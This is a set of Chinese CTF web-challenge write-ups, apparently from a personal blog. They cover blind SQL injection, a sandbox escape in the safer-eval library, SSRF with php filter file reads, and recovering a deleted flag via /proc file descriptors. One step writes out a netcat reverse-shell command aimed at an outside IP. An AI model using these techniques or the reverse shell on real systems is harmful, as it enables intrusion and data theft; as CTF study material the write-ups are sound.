https://ama666.cn/2020/06/03/%E6%97%A0%E5%88%97%E5%90%8D%E7%9B%B2%E6%B3%A8/
sql 大小写不敏感。
做题步骤
测试
输入 1 正常回显
输入 1^1 报错
输入 1^1^1 正常
因为无其他回显,可以直接盲注
依次得到 数据库名 表名 字段名
数据库
表名
因为 禁用了 information
所以只能 无列名爆破
'1^((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(tmp)
最后利用payload
1 | # coding:utf-8 |
[V&N2020 公开赛]CHECKIN
2020.12.13
考点
反弹shell
https://mayi077.gitee.io/2020/03/27/%E5%8F%8D%E5%BC%B9shell-payload%E6%80%BB%E7%BB%93/
做题步骤
打开网页给出源码
1 | from flask import Flask, request |
在开始的时候 打开了 flag.txt 只有一个 /shell
路由。根据这个路由知道在进入的时候 会先删除我们的 flag.txt
然后根据 传递的参数 c 来执行一条系统命令
首先想到的 利用反弹shell 获得权限 利用网站 http://www.nclisten.cn/
尝试
1 | nc -e /bin/sh 129.226.62.10 44137 (x) 不能 |
因为 flag.txt 已经被删了
百度发现一般是不能恢复的
然后因为源码是打开了文件的 flag_file = open("flag.txt", "r")
在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
利用 cat /proc/*/fd/*
可以查看我们的打开文件的 描述符
[GKCTF2020]EZ三剑客-EzNode
2020.12.13
考点
做题步骤
打开网站可以查看源代码和版本信息
source
1 | const express = require('express'); |
版本
1 | { |
根据 index.js 猜测
1 | const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库 |
可能和这个库有关。
且这个库的版本为
1 | "safer-eval": "1.3.6" |
找下这个 库的 历史漏洞
https://github.com/commenthol/safer-eval/issues/10
payload
1 | (function () { |
setTimeout 函数
会先根据我们的 delay
利用 setTimeout
设置延时时间 默认为 60 * 1000
然后发现在 后面还有一个 setTimeout
在 1000
之后清除上面的 setTimeout
类
setTimeout(() => next(), delay);
根据我们的输入 delay 和 60*1000 比较去大值做为参数
根据 这个函数认识,我们知道 只要我们设置的数字大于 2147483647 就能让 delay 设置为1 实验 ()=>next() 的调用。
我们只需要传递 delay=2147483648 就能实现
执行命令 并看到 flag
绕过cat 打开flag
[BJDCTF 2nd]文件探测
2020.12.14
考点
ssrf
伪协议读文件
格式化字符串
做题步骤
根据名 知道这个应该考察的 ssrf
网页前端有 注释
没什么特别的
进行目录扫描也没看到什么特别的
抓包看看
发现有个 hint home.php
得到 一个 新网页
根据 url 推测这里可以使用 php 伪协议读文件。
home.php?file=system
利用伪协议读文件
读取home.php 并base64 解密
1 |
|
读取 system.php
1 |
|
根据我们的输入 定义一个语句。在最后根据url 利用 @file_get_contents($url, false);
得到里面的内容
然后利用sprintf 来打印。
根据 home.php 里面的过滤
猜测有一个 admin.php
且因为这个 过滤 我们也不能用伪协议读取。
所以只能根据 system.php 来想办法得到。
最后有一句
print(sprintf("$url method&content_size:$method%d", $detect));
根据我我们的 url
method
detect
三个参数来得到
detect
参数是更具 $detect = @file_get_contents($url, false);
得到的
url
根据我们传入的 q2 字符串加上字符串 .y1ng.txt
(可以利用参数 ?x=.ying.txt 这样绕过;也可以通过 #(锚点)绕过)
这里 detect
的内容利用的是格式化字符串 %d 但是如果我们要答应 detect
的文本内容。我们必须利用 %s
更具上面。我们发现 method
是我们传入的 q3 且判读的时候只判断了 是否 开头为 GET 或者是 POST。说明这个 GET(POST)的后面是还可以加其他字符的。
我们可以利用这个点在method 中加入格式化字符串 %s 这样我们就能利用其来得到 detect
的。
然后发现我们的 url
参数要判断是否开头为 http://127.0.0.1/
根据这个点。我们知道,这应该是一个 ssrf 的利用。
根据上面分析。
1 | q1(没有利用到 可以为任意值) |
得到 system 的源码
admin.php
1 |
|
根据代码逻辑
我们要传入
decrypt
参数。 然后执行完 Check()
函数,接着 让 $decr === $cipher
这样我们就能 执行到 echo WHAT_YOU_WANT;
从而得到 flag
进过函数 aesEn
得到 $cipher
1 |
|
根据我们的 访问ip 从而生成的 $cipher
所以我们直接利用脚本得到 $decr
1 |
|
利用生成的直接得到